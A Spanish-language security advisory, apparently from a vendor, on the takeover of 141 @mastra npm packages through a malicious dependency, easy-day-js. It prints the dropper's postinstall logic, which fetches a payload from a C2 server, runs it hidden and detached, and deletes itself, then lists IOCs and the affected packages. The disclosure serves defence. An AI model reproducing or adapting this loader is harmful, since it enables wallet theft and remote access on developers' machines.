El 17 de junio detectamos un ataque a la cadena de suministro a gran escala dirigido a todo el @mastra ámbito de npm, un popular framework de agente de IA de código abierto. Un atacante republicó 141 paquetes en un lapso entre las 01:15 y las 02:00 UTC, inyectando silenciosamente una dependencia maliciosa en cada uno de ellos. Los paquetes afectados incluyen @mastra/core, que cuenta con 918K descargas semanales de npm, así como mastra y create-mastra.
El script postinstall
Los 141 paquetes tenían una única nueva dependencia añadida a su package.json: easy-day-js, un clon malicioso de la popular librería de fechas dayjs. El paquete fue publicado por una cuenta separada controlada por el atacante un día antes de la toma de control del ámbito. Fundamentalmente, la versión inicial (1.11.21) estaba completamente limpia, una copia exacta de dayjs sin hooks de instalación. La versión maliciosa (1.11.22) apareció al día siguiente, justo en el momento en que los @mastra paquetes fueron republicados. Los paquetes comprometidos dependen de ^1.11.21, pero la resolución caret de npm automáticamente incorpora la versión maliciosa 1.11.22 como la última versión, mientras que la auditoría de la versión fijada no revela nada sospechoso.
La versión 1.11.22 añade un postinstall hook que ejecuta setup.cjs, un script ofuscado que se ejecuta automáticamente en el momento de la instalación sin ninguna interacción del usuario.
// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletesLo que hace este script, paso a paso:
- Obtiene una carga útil de segunda etapa del servidor C2 en
23[.]254[.]164[.]92:8000 - Escribe la carga útil en un archivo llamado aleatoriamente
.jsen el directorio temporal del sistema operativo - Genera la carga útil como un proceso en segundo plano completamente desvinculado, invisible en todas las plataformas (
stdio: ignore, windowsHide: true), pasando un segundo host C223[.]254[.]164[.]123:443como argumento - Se autoelimina para eliminar la evidencia forense del hook de postinstalación
La segunda etapa se ejecuta como un proceso en segundo plano de larga duración que recopila información del sistema y se dirige a más de 160 extensiones de monederos de criptomonedas basadas en navegador, incluyendo MetaMask, Keplr, Coinbase y otras. Establece persistencia disfrazándose como herramientas relacionadas con Node en macOS, Windows y Linux, todas comunicándose con 23[.]254[.]164[.]123:443.
Similitudes con el compromiso de axios
El modus operandi aquí es casi idéntico al compromiso de axios que cubrimos en marzo de 2026. En ambos ataques, el atacante evitó tocar el código propio del paquete objetivo y en su lugar inyectó una dependencia maliciosa, aprovechando el postinstall hook para ejecutar la carga útil automáticamente en el momento de la instalación. Ambos prepararon primero una versión señuelo limpia, y luego la siguieron con la maliciosa. En el ataque de axios, plain-crypto-js desempeñó el papel que easy-day-js desempeña aquí. Ambos droppers también se autoeliminan después de la ejecución para eliminar la evidencia forense.
La infraestructura también sigue el mismo patrón. El dropper de axios se comunicó con un VPS de Hostwinds en el puerto 8000. El easy-day-js dropper hace lo mismo, contactando a 23[.]254[.]164[.]92:8000 en la infraestructura de Hostwinds.
Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, Device Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, bibliotecas de código, plugins IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
Indicadores de Compromiso
Indicadores de red
23[.]254[.]164[.]92:8000 — C2 de primera etapa, descarga de carga útil23[.]254[.]164[.]123:443 — host de callback de segunda etapa, pasado al RAT generado
Paquetes afectados
easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

